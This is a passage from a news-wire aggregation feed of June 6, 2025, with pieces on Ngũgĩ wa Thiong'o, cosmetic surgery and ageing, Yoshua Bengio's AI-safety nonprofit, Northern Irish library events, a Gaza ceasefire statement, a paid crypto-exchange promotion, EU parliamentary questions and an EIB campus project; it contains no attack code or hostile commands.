I Will Marry When I Want was performed in 1977 in Gĩkũyũ in a local community centre. It was banned and Ngũgĩ was imprisoned for a year.

And still so much more was to come: exile from Kenya, professorships in the UK and US, book after book, fiction and nonfiction, myriad invited lectures and conferences all over the world, a stunning collection of literary awards (with the notable exception of the Nobel Prize for Literature), honorary degrees, and the most distinguished academic appointments in the US, from the east coast to the west.

Yet besides his mother’s influence and no doubt his own aptitude and determination, if one factor could be said to have fuelled his intellectual and literary evolution – from the red clay of Kenya into the firmament of world literary history – it was the language of his birth: Gĩkũyũ. From the stories his mother told him as a child to his own writing in Gĩkũyũ for a local, pan-African and international readership. He provided every reason why he should choose this path in his books of criticism and theory.

Ngũgĩ was also my friend for over three decades – through his US professorships, to Eritrea, to South Africa, to his finally moving to the US to live with his children. We had an ongoing conversation – in person, during many literary projects, over the phone and the internet.

Our friendship started in 1993, when I first interviewed him. He was living in exile from Kenya in Orange, New Jersey, where I was born. We both felt at home at the start of our working together. We felt the same way together through the conferences, books, translations, interviews and the many more literary projects that followed.

What are his most important works?

Since Ngũgĩ was such a voluminous and highly varied writer, he has many different important works. His earliest and historical novels like A Grain of Wheat and The River Between. His regime-shaking plays.

His critical and controversial novels like Devil on the Cross and Petals of Blood. His more experimental and absolutely modern novels like Matigari and Wizard of the Crow.

His epoch-making literary criticism like Decolonising the Mind. His informal and captivating three volumes of memoirs written later in life. His retelling in poetry of a Gĩkũyũ epic, The Perfect Nine, his last great book. A reader of Ngũgĩ can have many a heart’s desire.

My book, Ngũgĩ wa Thiong’o: Texts and Contexts, was based on the three-day conference of the same name that I organised in the US. At the time, it was the largest conference ever held on an African writer anywhere in the world.

What I learned back then applies now more than ever. There are no limits to the interest that Ngũgĩ’s work can generate anytime anywhere and in any form. I saw it happen in 1994 in Reading, Pennsylvania, and I see it now 30 years later in the outpouring of interest and recognition all over the world at Ngũgĩ’s death.

In 1993, he had published a book of essays titled Moving the Centre: The Struggle for Cultural Freedoms. Focusing on Ngũgĩ’s work, the conference and the book were “moving the centre” in Ngũgĩ’s words, “to real creative centres among the working people in conditions of gender, racial, and religious equality”.

What are your takeaways from your discussions with him?

First, African languages are the key to African development, including African literature. Ngũgĩ comprehensively explored and advocated this fundamental premise in over 40 years of teaching, lectures, interviews, conversations and throughout his many books of literary criticism and theory. Also, he epitomised it, writing his later novels in Gĩkũyũ, including his magnum opus, Wizard of the Crow.

Moreover, he codified his declaration of African language independence in co-writing The Asmara Declaration, which has been widely translated. It advocates for the importance and recognition of African languages and literatures.

Second, literature and writing are a world and not a country. Every single place and language can be omnicentric: translation can overcome any border, boundary, or geography and make understanding universal. Be it Shakespeare’s English, Dante’s Italian, Ngugi’s Gĩkũyũ, the Bible’s Hebrew and Aramaic, or anything else, big or small.

Third, on a more personal level, when I first met Ngũgĩ, I was a European American literary scholar and a poet with little knowledge of Africa and its literature and languages, much less of Ngũgĩ himself. He was its favourite son. But this didn’t stop him from giving me the idea and making me understand how African languages contained the seeds of an African Renaissance if only they were allowed to grow.

I knew that the historical European Renaissance rooted, grew, flourished and blossomed through its writers in European vernacular languages. English, French, German, Italian, Spanish and more took the place of Latin in expressing the best that was being thought and said in their countries. Yet translation between and among these languages as well as from classical Latin and Greek culture, plus biblical texts and cultures, made them ever more widely shared and understood.

Read more:
Drama that shaped Ngũgĩ’s writing and activism comes home to Kenya

From Ngũgĩ discussing African languages I took away a sense that African writers, storytellers, people, arts, and cultures could create a similar paradigm and overcome colonialism, colonial languages, neocolonialism and anything else that might prevent greatness.

Charles Cantalupo does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

– ref. 3 things Ngũgĩ wa Thiong’o taught me: language matters, stories are universal, Africa can thrive – https://theconversation.com/3-things-ngugi-wa-thiongo-taught-me-language-matters-stories-are-universal-africa-can-thrive-258074

MIL OSI – Global Reports –

June 6, 2025
MIL-OSI Global: The pursuit of eternal youth goes back centuries. Modern cosmetic surgery is turning it into a reality – for rich people

Source: The Conversation – Global Perspectives – By Margaret Gibson, Associate Professor of Sociology, Griffith University

The Conversation, CC BY-SA

Kris Jenner’s “new” face sparked myriad headlines about how she can look so good at 69 years old. While she’s not confirmed what sort of procedures she’s undergone, speculation abounds.

As a US reality TV personality, socialite and Kardashian matriarch, Jenner has long curated her on-screen identity. Her fame and fortune are intimately tied to a multinational cosmetics industry that has, for centuries, bartered in the illusion of timeless beauty.

The pursuit of cosmetic enhancement can be traced back as far as Ancient Egypt, reminding us the desire to look younger is hardly new.

But while many women try in vain to battle the ageing process, Jenner is an example of someone who’s actually succeeded, at least visually. What does that mean for the rest of us?

Decades of surgeries

Modern cosmetic plastic surgery has its roots in compassion. It was developed to help disfigured first world war soldiers rebuild their faces and identities.

But this origin story has been sidelined. Today, aesthetic procedures are overwhelmingly pursued by women and marketed as lifestyle enhancements rather than medical interventions.

Advancements in reconstructive surgery were made after both world wars with treatments on wounded soldiers.
AFP/Getty Images

Plastic surgery, once considered extreme or shameful, began to gain popularity in the 1960s, and is now widespread.

Hollywood has long played a role in shaping these standards. During its Golden Age, stars like Marilyn Monroe and John Wayne are reported to have undergone cosmetic surgeries – rhinoplasty (nose jobs), chin implants, facelifts – to preserve their screen personas.

Even before Instagram, before-and-after images were a cultural obsession, often used to shame or expose.

From taboo to trend

The digital age has further normalised cosmetic enhancements, with social media influencers and celebrities promoting procedures alongside beauty products.

It’s estimated Jenner spent upwards of US$130,000 (around A$200,000) on cosmetic interventions, resulting in a look that some media outlets suggest places her in her 30s.

There’s been similar speculation about Lindsay Lohan, Christina Aguilera and Anne Hathaway, though none of the women have confirmed anything themselves.

On Jenner, social media users are split. Some offer aspirational praise (“If I had the money, I’d get it all done!”), while others criticise her rejection of “ageing gracefully”.

Today, celebrities increasingly control the narrative. Jenner has embraced her past cosmetic transformations, sharing them openly on social media and in interviews. The taboo is evolving.

Yet many stars, including Courtney Cox, Ariana Grande, and Mickey Rourke, have spoken openly about regrets and the psychological toll of these procedures. Even with agency, the pressure remains immense.

Youth as a cultural ideal

This obsession with agelessness reflects a deeper societal discomfort with visible ageing, particularly in women.

Celebrities, with access to elite medical professionals and procedures, seem to cheat time.

Yet the outcome of is often disorienting: when Jenner appears younger than her children, the generational lines blur.

This erasure of age difference entrenches youth as an end in itself. It also destabilises how we perceive kinship and mortality.

Supermodel Bella Hadid has said she regrets getting a rhinoplasty as a teenager. Of Palestinian descent, she said “I wish I’d kept the nose of my ancestors”.

In my own research, I’ve argued cosmetic enhancement is tied to a cultural denial of death.

The ageing isn’t the problem – it’s our refusal to accept it.

The desperate clinging to youth reflects a collective resistance to change. Celebrity culture and consumer capitalism exploit this vulnerability, making age a problem to be solved rather than a life stage to be honoured.

We should mourn our ageing, not erase it. In another world, we could witness it, share it, and celebrate its quiet, powerful beauty.

So what about us?

But that’s not the world many live in, and the pressure extends beyond Hollywood.

With filters, apps, and social media platforms, ordinary people also curate and enhance their images, playing their part in a fantasy of perfection.

A recent study looked at the way young Australians use selfie editing tools. It found the widespread use of such apps have a significant effect on the body image of young people.

Read more:
‘Perfect bodies and perfect lives’: how selfie-editing tools are distorting how young people see themselves

The line between self-care and self-deception has never been blurrier. We all want to present the best version of ourselves, even if reality slips into illusion.

So while women have long tried to outrun visible ageing, whether that be through anti-wrinkle creams or more invasive means, Jenner is an example of something relatively rare: a woman who’s actually managed to do it.

In doing so, she and her celebrity counterparts set a new youthful beauty standard in what ageing should (or shouldn’t) look like.

And while that standard may be felt by a variety of women, few will be able to achieve it.

Extremely wealthy beauty moguls like Kris Jenner can afford elite treatments, while most people face growing financial pressure and a cost-of-living crisis. The divide isn’t just aesthetic – it’s economic.

Beauty, in this context, is both a product and a privilege.

And of course, judgement of women’s appearances remains a powerful force for discrediting their political, social, and moral worth. For every bit of praise there is for Jenner’s “youthful” appearance, there are videos claiming she’s “ruined her face” and questioning of whether she should spend so much money on such a cause.

As long as gender inequality persists and beauty remains a currency of value, the pressure to conform will endure.

Margaret Gibson does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

– ref. The pursuit of eternal youth goes back centuries. Modern cosmetic surgery is turning it into a reality – for rich people – https://theconversation.com/the-pursuit-of-eternal-youth-goes-back-centuries-modern-cosmetic-surgery-is-turning-it-into-a-reality-for-rich-people-257969

MIL OSI – Global Reports –

June 6, 2025
MIL-OSI Global: ‘Godfather of AI’ now fears it’s unsafe. He has a plan to rein it in

Source: The Conversation – Global Perspectives – By Armin Chitizadeh, Lecturer, School of Computer Science, University of Sydney

fran_kie/Shutterstock

This week the US Federal Bureau of Investigation revealed two men suspected of bombing a fertility clinic in California last month allegedly used artificial intelligence (AI) to obtain bomb-making instructions. The FBI did not disclose the name of the AI program in question.

This brings into sharp focus the urgent need to make AI safer. Currently we are living in the “wild west” era of AI, where companies are fiercely competing to develop the fastest and most entertaining AI systems. Each company wants to outdo competitors and claim the top spot. This intense competition often leads to intentional or unintentional shortcuts – especially when it comes to safety.

Coincidentally, at around the same time of the FBI’s revelation, one of the godfathers of modern AI, Canadian computer science professor Yoshua Bengio, launched a new nonprofit organisation dedicated to developing a new AI model specifically designed to be safer than other AI models – and target those that cause social harm.

So what is Bengio’s new AI model? And will it actually protect the world from AI-faciliated harm?

An ‘honest’ AI

In 2018, Bengio, alongside his colleagues Yann LeCun and Geoffrey Hinton, won the Turing Award for groundbreaking research they had published three years earlier on deep learning. A branch of machine learning, deep learning attempts to mimic the processes of the human brain by using artificial neural networks to learn from computational data and make predictions.

Bengio’s new nonprofit organisation, LawZero, is developing “Scientist AI”. Bengio has said this model will be “honest and not deceptive”, and incorporate safety-by-design principles.

According to a preprint paper released online earlier this year, Scientist AI will differ from current AI systems in two key ways.

First, it can assess and communicate its confidence level in its answers, helping to reduce the problem of AI giving overly confident and incorrect responses.

Second, it can explain its reasoning to humans, allowing its conclusions to be evaluated and tested for accuracy.

Interestingly, older AI systems had this feature. But in the rush for speed and new approaches, many modern AI models can’t explain their decisions. Their developers have sacrificed explainability for speed.

Bengio also intends “Scientist AI” to act as a guardrail against unsafe AI. It could monitor other, less reliable and harmful AI systems — essentially fighting fire with fire.

This may be the only viable solution to improve AI safety. Humans cannot properly monitor systems such as ChatGPT, which handle over a billion queries daily. Only another AI can manage this scale.

Using an AI system against other AI systems is not just a sci-fi concept – it’s a common practice in research to compare and test different level of intelligence in AI systems.

Adding a ‘world model’

Large language models and machine learning are just small parts of today’s AI landscape.

Another key addition Bengio’s team are adding to Scientist AI is the “world model” which brings certainty and explainability. Just as humans make decisions based on their understanding of the world, AI needs a similar model to function effectively.

The absence of a world model in current AI models is clear.

One well-known example is the “hand problem”: most of today’s AI models can imitate the appearance of hands but cannot replicate natural hand movements, because they lack an understanding of the physics — a world model — behind them.

Another example is how models such as ChatGPT struggle with chess, failing to win and even making illegal moves.

This is despite simpler AI systems, which do contain a model of the “world” of chess, beating even the best human players.

These issues stem from the lack of a foundational world model in these systems, which are not inherently designed to model the dynamics of the real world.

Yoshua Bengio is recognised as one of the godfathers of AI.
Alex Wong/Getty Images

On the right track – but it will be bumpy

Bengio is on the right track, aiming to build safer, more trustworthy AI by combining large language models with other AI technologies.

However, his journey isn’t going to be easy. LawZero’s US$30 million in funding is small compared to efforts such as the US$500 billion project announced by US President Donald Trump earlier this year to accelerate the development of AI.

Making LawZero’s task harder is the fact that Scientist AI – like any other AI project – needs huge amounts of data to be powerful, and most data are controlled by major tech companies.

There’s also an outstanding question. Even if Bengio can build an AI system that does everything he says it can, how is it going to be able to control other systems that might be causing harm?

Still, this project, with talented researchers behind it, could spark a movement toward a future where AI truly helps humans thrive. If successful, it could set new expectations for safe AI, motivating researchers, developers, and policymakers to prioritise safety.

Perhaps if we had taken similar action when social media first emerged, we would have a safer online environment for young people’s mental health. And maybe, if Scientist AI had already been in place, it could have prevented people with harmful intentions from accessing dangerous information with the help of AI systems.

Armin Chitizadeh does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

– ref. ‘Godfather of AI’ now fears it’s unsafe. He has a plan to rein it in – https://theconversation.com/godfather-of-ai-now-fears-its-unsafe-he-has-a-plan-to-rein-it-in-258288

MIL OSI – Global Reports –

June 6, 2025
MIL-OSI United Kingdom: Library events across ABC Borough to support Loneliness Awareness Week
Source: Northern Ireland City of Armagh
Coffee mornings organised for Loneliness Awareness Week

Residents from the Armagh City, Banbridge and Craigavon Borough are being encouraged to come along to a series of events being organised by Libraries NI to mark Loneliness Awareness Week (June 9 – June 15).

Throughout the year, Libraries NI support people in the community; helping them to stay connected, feel welcomed, and building a sense of belonging.

Libraries are trusted community spaces where people of all ages can spend meaningful time without spending money; whether that’s chatting over a cup of tea at a Knit and Natter session, enjoying a library activity, or simply spending time in the company of others.

Here are just a few of the events and activities happening in your area during the week:

Armagh City Library – Tea and Board Games for Adults – Monday 9 June, 10am – 12noon

Banbridge Library – Coffee and Chat with their new walking group after their walk – Friday 13 June at 11am-12noon – **new members welcome**

Brownlow Library – Tea & Board Games for Adults – Tuesday 10 June, 10:30am – 12:30pm

Dromore Library – Coffee Morning – Friday 13 June, 10:30am – 12:30pm

Keady Library – Tea, Coffee, Chat & Connect for Adults – Wednesday 11 June, 11:30am – 12:30pm

Lurgan Library – Storytime Friendship & Craft for Children – Wednesday 11 June, 10:30am – 11:15am

Portadown Library – Tea, Newspapers, Chat & Connect for Adults – Thursday 12 June, 10am – 12noon

Rathfriland Library – Coffee & Chat for Adults – Friday 13 June, 10:30am – 12noon

Richhill Library – Coffee & Chat Hour for Adults – Tuesday 10 June, 10:30am-11:30am

Tandragee Library – Cuppa & Chat for Adults – Tuesday 10 June, 3pm – 7pm

You can drop in briefly or, stay for a session and chat with staff and library users. It’s a great chance to see how libraries are making a real difference locally.
Previous article7 Hills set to strike a chord again in Armagh City
MIL OSI United Kingdom –
June 6, 2025
MIL-OSI USA: Evans Continues to Call for a Negotiated Ceasefire in Israel-Hamas Conflict

Source: United States House of Representatives – Representative Dwight Evans (2nd District of Pennsylvania)

WASHINGTON (June 4, 2025) – Congressman Dwight Evans (D-PA-3) issued this statement today:

“I’m deeply concerned by recent violence at aid distribution centers in Gaza and continue to call for a negotiated ceasefire to end the violence in Gaza, including the immediate return of all hostages and the safe, immediate delivery of much-needed humanitarian aid. I’m co-sponsoring a new resolution calling on this administration to use all diplomatic tools at its disposal to ensure humanitarian aid reaches civilians in Gaza and to bring about the release of the hostages.

“And I continue to join with congressional colleagues in calling on this administration and the Israeli government to protect Palestinian lives; opposing the forcible transfer of Palestinians out of Gaza; and advocating for providing economic security in the West Bank as Palestinian unemployment rates continue to rise. Recently I signed on to a congressional letter to the Israeli ambassador expressing opposition to their blocking humanitarian aid from entering Gaza, as well as a congressional letter to President Trump opposing his remarks about taking over Gaza.”

###

MIL OSI USA News –

June 6, 2025
MIL-OSI: MEXC Officially Unveils Launchpad Platform: Acquire BTC at up to 90% Discount
Source: GlobeNewswire (MIL-OSI)

VICTORIA, Seychelles, June 06, 2025 (GLOBE NEWSWIRE) — MEXC, a leading global cryptocurrency exchange, has officially unveiled its new Launchpad, an innovative token issuance platform that provides users with guaranteed access to high-quality projects at discounted prices. MEXC’s first-ever Launchpad event and debut offering lets users subscribe to select tokens and unlock discounts on BTC.

According to data from Triple-A, the global crypto user base has surpassed 560 million, and market momentum continues to grow. However, many users remain sidelined from having early investment access to promising projects, but also access to established assets at significant discounts due to high entry barriers and complex risk factors.

MEXC Launchpad addresses these pain points with a redesigned, fully upgraded investment platform that breaks through the traditional IEO (Initial Exchange Offering) model.

By offering discounted access to premium project tokens, Launchpad aims to provide users with inclusive access to high-quality crypto investments, helping retail users capture emerging and established market opportunities.

Because of these highlights, MEXC Launchpad is known for being the
“Your Easiest Way to Top Tokens — Early or at a Discount.” Key features of the Launchpad include:

Discounted Access to Token Subscriptions
The platform adopts a differentiated pricing strategy, offering users the opportunity to subscribe at prices below market expectations. This significantly lowers the cost barrier for retail investors to participate in high-quality projects and positions them to benefit from potential gains after the token is listed.

Fair Participation
Breaking away from traditional lottery systems and favoring large holders, MEXC Launchpad ensures that all eligible users can participate on equal footing. Users are not required to complete complex tasks to subscribe, a feat that significantly improves participation and enhances accessibility.

Rigorous and Professional Project Selection
MEXC has implemented a rigorous evaluation framework that assesses projects across multiple dimensions, including technology and innovation, team background, and development potential. This professional vetting process ensures that only high-quality projects are featured, helping users manage investment risk effectively.

Flexible and Diverse Subscription Models
Users can participate using designated tokens, with both non-oversubscription and oversubscription models available. In the non-oversubscribed model, users receive tokens based on the amount committed. The oversubscribed model uses a proportional allocation mechanism to ensure a fair distribution process.
The debut MEXC Launchpad event offers BTC-based subscriptions, featuring special discount packages tailored to different types of users.
- New User Exclusive: Subscribe at up to 90% off (as low as 10% of the market price), with subscription limits ranging from 5 to 55 USDT and a total supply of 4 BTC.
- All Users: Enjoy a 20% discount on subscriptions, with subscription limits from 25 to 250 USD1 and a total supply of 3 BTC.
- Referral Rewards: Earn a 5 USDT bonus for each new user referred, up to a maximum of 100 USDT in referral rewards.
- Subscription Period: June 6 to June 20
“The release of MEXC Launchpad marks a major milestone in MEXC’s commitment to inclusive finance,” said Tracy Jin, COO of MEXC. “By offering a fair and simple subscription model, we’re making premium project investment accessible to everyone, not just a privileged few. Choosing BTC as the first featured asset opens a new channel for everyday users to participate in “digital gold.” Looking ahead, we’ll continue introducing high-quality projects to bring more value to our global users.”

Cryptocurrency investing involves significant risk and is subject to market volatility. Investors may face potential loss of principal. Please ensure you thoroughly understand the project details and carefully evaluate your risk tolerance before making any investment decisions.

The first BTC Launchpad event is now live on MEXC. For more details, visit the official Launchpad page: https://www.mexc.com/launchpad

About MEXC

Founded in 2018, MEXC is committed to being “Your Easiest Way to Crypto.” Serving over 40 million users across 170+ countries, MEXC is known for its broad selection of trending tokens, everyday airdrop opportunities, and low trading fees. Our user-friendly platform is designed to support both new traders and experienced investors, offering secure and efficient access to digital assets. MEXC prioritizes simplicity and innovation, making crypto trading more accessible and rewarding.
MEXC Website｜X｜Telegram｜How to Sign Up on MEXC

For media inquiries, please contact MEXC PR Manager Lucia Hu: lucia.hu@mexc.com

Source

Disclaimer: This is a paid post and is provided by MEXC. The statements, views, and opinions expressed in this content are solely those of the content provider and do not necessarily reflect the views of this media platform or its publisher. We do not endorse, verify, or guarantee the accuracy, completeness, or reliability of any information presented. We do not guarantee any claims, statements, or promises made in this article. This content is for informational purposes only and should not be considered financial, investment, or trading advice.Investing in crypto and mining-related opportunities involves significant risks, including the potential loss of capital. It is possible to lose all your capital. These products may not be suitable for everyone, and you should ensure that you understand the risks involved. Seek independent advice if necessary. Speculate only with funds that you can afford to lose. Readers are strongly encouraged to conduct their own research and consult with a qualified financial advisor before making any investment decisions. However, due to the inherently speculative nature of the blockchain sector—including cryptocurrency, NFTs, and mining—complete accuracy cannot always be guaranteed.Neither the media platform nor the publisher shall be held responsible for any fraudulent activities, misrepresentations, or financial losses arising from the content of this press release. In the event of any legal claims or charges against this article, we accept no liability or responsibility. Globenewswire does not endorse any content on this page.

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The MIL Network –
June 6, 2025
MIL-OSI: Lucinity Appoints Payoneer CCO and Goldman Sachs MD as Strategic Advisors
Source: GlobeNewswire (MIL-OSI)

REYKJAVIK, Iceland, June 06, 2025 (GLOBE NEWSWIRE) — Lucinity has expanded its Advisory Council with the appointment of industry leaders Micheal Sheehy, Chief Compliance Officer at Payoneer, and Konstantinos Rizakos, Managing Director of Compliance Engineering at Goldman Sachs. Both bring deep expertise to Lucinity from their experience in managing large compliance and technology programs across global financial institutions.

Lucinity helps financial institutions detect and investigate financial crime faster and smarter using AI-powered tools. Its Advisory Council brings together industry leaders to guide the company’s international expansion, go-to-market strategy, and customer-driven product innovation.

Micheal brings over a decade of leadership across AML/CTF, payments compliance, and regulatory risk management. He has extensive experience leading global FCC/compliance operations in the U.S., Europe, and APAC. At Payoneer and throughout his career, he has built and scaled compliance programs, managed regulatory obligations across highly regulated markets, and implemented advanced RegTech solutions. His hands-on expertise with the U.S. Bank Secrecy Act, various EU AML directives, and multiple APAC regulatory frameworks will be instrumental in guiding Lucinity’s strategy to serve clients operating globally.

Konstantinos has been a leading figure in compliance technology for over twenty years, having run the Compliance application portfolios at Goldman Sachs, Citigroup, and Morgan Stanley. He has been an advocate of machine learning, workflow automation, and large-scale data platforms, and has driven their adoption in the industry as a whole. In the (new) age of AI, he plays an active role in AI product governance and in steering enterprise platforms, both through committee memberships and by launching an AI product management course at NYU Stern School of Business.

Micheal and Konstantinos both bring a rare combination of regulatory expertise and technical depth that will help shape Lucinity’s global strategy and platform evolution. Their expertise will help Lucinity deepen its impact: improving investigation efficiency, enhancing team productivity, and reducing the cost and complexity of compliance for financial institutions.

“We brought in Micheal and Konstantinos because they’ve built and run compliance programs at the highest levels. They know what works, what breaks, and what it takes to scale. They understand where compliance is headed, and with their guidance, our product will be moving faster, getting better, and raising the bar for the industry,” said Guðmundur Kristjánsson (GK), CEO and Founder of Lucinity.

Lucinity’s Advisory Council now includes:
- Ed Wilson – Former Partner at Venable LLP with legal expertise in cross-border financial law
- Tanya Ziv – Former CCO at Visa Cross-Border Solutions and Former COO at Yapily
- Frank Lawrence – VP and Head of Global Operations, Legal and Chief Compliance Officer at Facebook Payments
- John McCarthy – Former AML/Sanctions Officer at Airbnb with law enforcement expertise
- Micheal Sheehy – Chief Compliance Officer at Payoneer
- Konstantinos Rizakos – Managing Director of Compliance Engineering at Goldman Sachs
As Lucinity continues to scale globally, the addition of Micheal and Konstantinos brings vital real-world insight to further align Lucinity’s platform with the goals of global compliance leaders.

Contact:

Celina Pablo
celina@lucinity.com
+354 792 4321

The MIL Network –
June 6, 2025
MIL-OSI Europe: Written question – Protecting EU passengers from illegal charges for hand baggage imposed by certain airlines – P-002169/2025
Source: European Parliament
Priority question for written answer P-002169/2025/rev.1
to the Commission
Rule 144
Elena Kountoura (The Left)

The European Consumer Organisation (BEUC) has recently lodged a complaint with the European Commission about unfair commercial practices by certain ‘low-cost’ airlines, which subject consumers to unreasonable charges for their hand baggage[1]. These unacceptable practices violate EU consumer law, the Air Services Regulation and the relevant CJEU case law, in particular judgment C-487/12 of 2014, which recognises hand baggage as an integral part of passenger air transport and states that it should not incur additional charges, ‘on condition that such hand baggage meets reasonable requirements in terms of its weight and dimensions’[2].

In view of the European Parliament resolution of October 2023 calling on the Commission to revise the current EU legislation on air services and to implement the relevant CJEU ruling[3], can the Commission answer the following:

1.What measures does it intend to take, within its competences, to support the effective implementation of the relevant CJEU ruling by airlines?

2.Does it intend to support the clarification/harmonisation of the rules on hand baggage and the definition thereof in the revision of the passenger rights regulation[4] to ensure the protection of consumers / air passengers in the EU?

3.Alternatively, does it intend to propose a specific definition of the term ‘reasonable requirements in terms of the weight and dimensions’ of hand baggage in the upcoming revision of Regulation (EC) No 1008/2008, on the basis of the relevant CJEU ruling?

Submitted: 30.5.2025

[1] These companies impose additional charges on passengers for carrying hand baggage, which are often not displayed from the outset when searching for and comparing prices between the options on offer. https://www.beuc.eu/press-release/eu-consumer-groups-denounce-seven-airlines-charging-hand-baggage

[2] https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:62012CJ0487

[3] According to the resolution, harmonising requirements on the size, weight and type of hand baggage for all airlines operating in the European Union would enhance transparency and consumer protection for all air travellers. https://www.europarl.europa.eu/doceo/document/TA-9-2023-0344_EN.html

[4] The regulation is already in the process of being revised by the co-legislators. https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A52023PC0753.
Last updated: 6 June 2025
MIL OSI Europe News –
June 6, 2025
MIL-OSI Europe: Written question – Safeguarding competition in the EV charging market – need for clarification over pricing for integrated suppliers – E-002142/2025
Source: European Parliament
Question for written answer E-002142/2025
to the Commission
Rule 144
Sophia Kircher (PPE)

Further to requirements for rolling out charging infrastructure, Regulation (EU) 2023/1804 on the deployment of alternative fuels infrastructure sets out rules to strengthen competition in the market for public charging services. Article 5(3) prohibits operators of publicly accessible recharging points from discriminating between end users and mobility service providers or between different mobility service providers. However, it remains unclear whether integrated companies, i.e. those that are both recharging point operators and mobility service providers, in their role as mobility service providers, can serve their own end-users at significantly lower prices than roaming partners. This approach is not explicitly prohibited in the regulation, resulting in significantly higher roaming tariffs. It risks putting individual market players at a disadvantage and restricting competition, thus undermining the key objectives of the regulation. The regulation, in particular recital 34, does not provide any clarity on the matter, and the Commission’s Q & A on the piece of legislation (Question 5.14)[1] also fails to answer the question fully.

1.How does the Commission interpret Article 5(3) with regard to integrated companies that are at once recharging point operators and mobility service providers?

2.Can competition be restricted by different interpretations of Article 5(3)?

3.Will it carry out or have carried out corresponding market analyses ahead of the evaluation set for the end of 2026, and adapt the regulation if necessary?

Submitted: 28.5.2025

[1] https://transport.ec.europa.eu/transport-themes/clean-transport/alternative-fuels-sustainable-mobility-europe/alternative-fuels-infrastructure/questions-and-answers-regulation-deployment-alternative-fuels-infrastructure-eu-20231804_en
Last updated: 6 June 2025
MIL OSI Europe News –
June 6, 2025
MIL-OSI Europe: Answer to a written question – Is freezing the bank accounts of elected citizens and political opponents in France anti-democratic? – E-000107/2025(ASW)
Source: European Parliament
Banks and credit institutions, like other economic operators, have in principle the freedom to decide with whom they want to enter into a contract or maintain a business relationship.

To ensure the right of consumers to have access to financial services, Article 16 of the Payment Accounts Directive (PAD)[1] gives all consumers legally resident in the EU the right to open and use a payment account with basic features (PABF), subject to certain derogations, including in view of anti-money laundering rules. Article 19 of PAD also lays down the specific circumstances under which a PABF can be unilaterally terminated[2].

The Commission is also committed to safeguarding non-discrimination of citizens with regards to their access to a payment account. Article 15 of PAD requires Member States to ensure that credit institutions do not discriminate against consumers legally resident in the EU by reason of their nationality or place of residence or of any other ground as referred to in Article 21 of the Charter of Fundamental Rights (including political opinion) when consumers apply for or access a payment account.

The responsibility for the enforcement of these provisions in individual cases lies with the national authorities and courts. The Commission, in case of suspicion of a breach of EU law by the national authorities, may decide to investigate the matter further and contact the national authorities to obtain further information.

[1] Directive 2014/92/EU of the European Parliament and of the Council of 23 July 2014 on the comparability of fees related to payment accounts, payment account switching and access to payment accounts with basic features Text with EEA relevance, OJ L 257, 28.8.2014, p. 214-246.

[2] Including the deliberate use of the account for illegal purposes, no transaction for more than 24 consecutive months, incorrect information provided where the correct information would have resulted in the absence of such a right, the consumer is no longer legally resident in the EU, the consumer has subsequently opened a second payment account.
Last updated: 6 June 2025
MIL OSI Europe News –
June 6, 2025
MIL-OSI Europe: Bulgarian city Burgas to get EIB guidance for new scientific campus
Source: European Investment Bank

EIB
- EIB to advise Burgas on plan to create top scientific centre that will serve city’s four universities.
- Due to open in 2027, new campus will feature research and data facilities as well as student housing and sports premises.
- EIB to help develop economic model for site as Burgas seeks to attract researchers and students from around world.
The Bulgarian city of Burgas will develop a state-of-the-art scientific campus and seek to attract Bulgarian and international researchers and students with guidance from the European Investment Bank (EIB). The new campus is due to open its doors in 2027 and serve four universities in Burgas, Bulgaria’s fourth-largest city and a major industrial and tourist hub on the Back Sea.

The agreement involves the EIB’s advisory services. EIB Advisory Head of Public & Infrastructure Finance Division Julien Chebbo and Burgas Mayor Dimitar Nikolov signed the accord today in the city.

Burgas has a population of more than 200,000 and is one of the fastest growing metropolitan areas in Bulgaria. The new campus will feature centres for research and development and data as well as housing and sporting facilities.

“Creating a quality space for studying, working and living is key to attract young people and retain talent in cohesion regions,” said EIB Vice-President Kyriacos Kakouris. “We are pleased to support Burgas in structuring a viable economic model for the new campus, which will enhance the city’s position in the higher-education landscape, promoting innovation and economic growth.”

The municipality of Burgas has completed a design for the campus and designated land plots for it. EIB Advisory will propose and evaluate financing options and help devise an appropriate management and governance structure for the campus. The expertise is being mobilised under the European Commission’s InvestEU Advisory mandate.

“This is an extremely important project to attract young people by providing opportunities for broad-spectrum education and development,” said Burgas Mayor Dimitar Nikolov. “This requires a modern environment that seamlessly combines opportunities for education and science with quality living quarters. This setting will inspire and nurture the development of specialists in various academic fields and the attainment of top scientific achievements.”

The new agreement follows other EIB Advisory support for Burgas including a comprehensive feasibility study in 2022-2023 for a new children’s hospital. In September 2023, the EIB then approved a €12.8 million loan for Burgas to co-fund the hospital.

Background information

About the EIB

The European Investment Bank (ElB) is the long-term lending institution of the European Union, owned by its Member States. The EIB finances investments in eight core priorities that support EU policy objectives: climate action and the environment, digitalisation and technological innovation, security and defence, cohesion, agriculture and the bioeconomy, social infrastructure, the capital markets union and a stronger Europe in a more peaceful and prosperous world. 

The EIB Group, which also includes the European Investment Fund (EIF), signed nearly €89 billion in new financing for over 900 high -impact projects in 2024, boosting Europe’s competitiveness and security.   

In addition to financing, the EIB offers advisory services that help public and private partners develop and implement high-quality, investment-ready projects. In 2024 alone, EIB advisory teams helped mobilise over €200 billion of investments across Europe and beyond.

About the InvestEU Advisory Hub

The InvestEU programme provides the EU with long-term funding by leveraging substantial private and public funds in support of a sustainable recovery and growth. It helps mobilise private investments for the EU’s policy priorities, such as the European Green Deal and the digital transition. InvestEU brings together under one roof the multitude of EU financial instruments, making funding for investment projects in Europe simpler, more efficient and more flexible.

The InvestEU Advisory Hub is the central entry point for project promoters and intermediaries seeking advisory support and technical assistance related to centrally managed EU investment funds. Managed by the European Commission and financed by the EU budget, the InvestEU Advisory Hub connects project promoters and intermediaries with advisory partners, who work directly together to help projects reach the financing stage.

EIB Advisory provides technical and financial expertise to support the development of sustainable and bankable projects in various sectors. In Bulgaria, EIB experts are assisting public authorities and businesses in preparing infrastructure investments in energy, energy efficiency, healthcare, transport and the environment, improving project planning and enhancing access to funding through tailored services and capacity building.

About the Municipality of Burgas

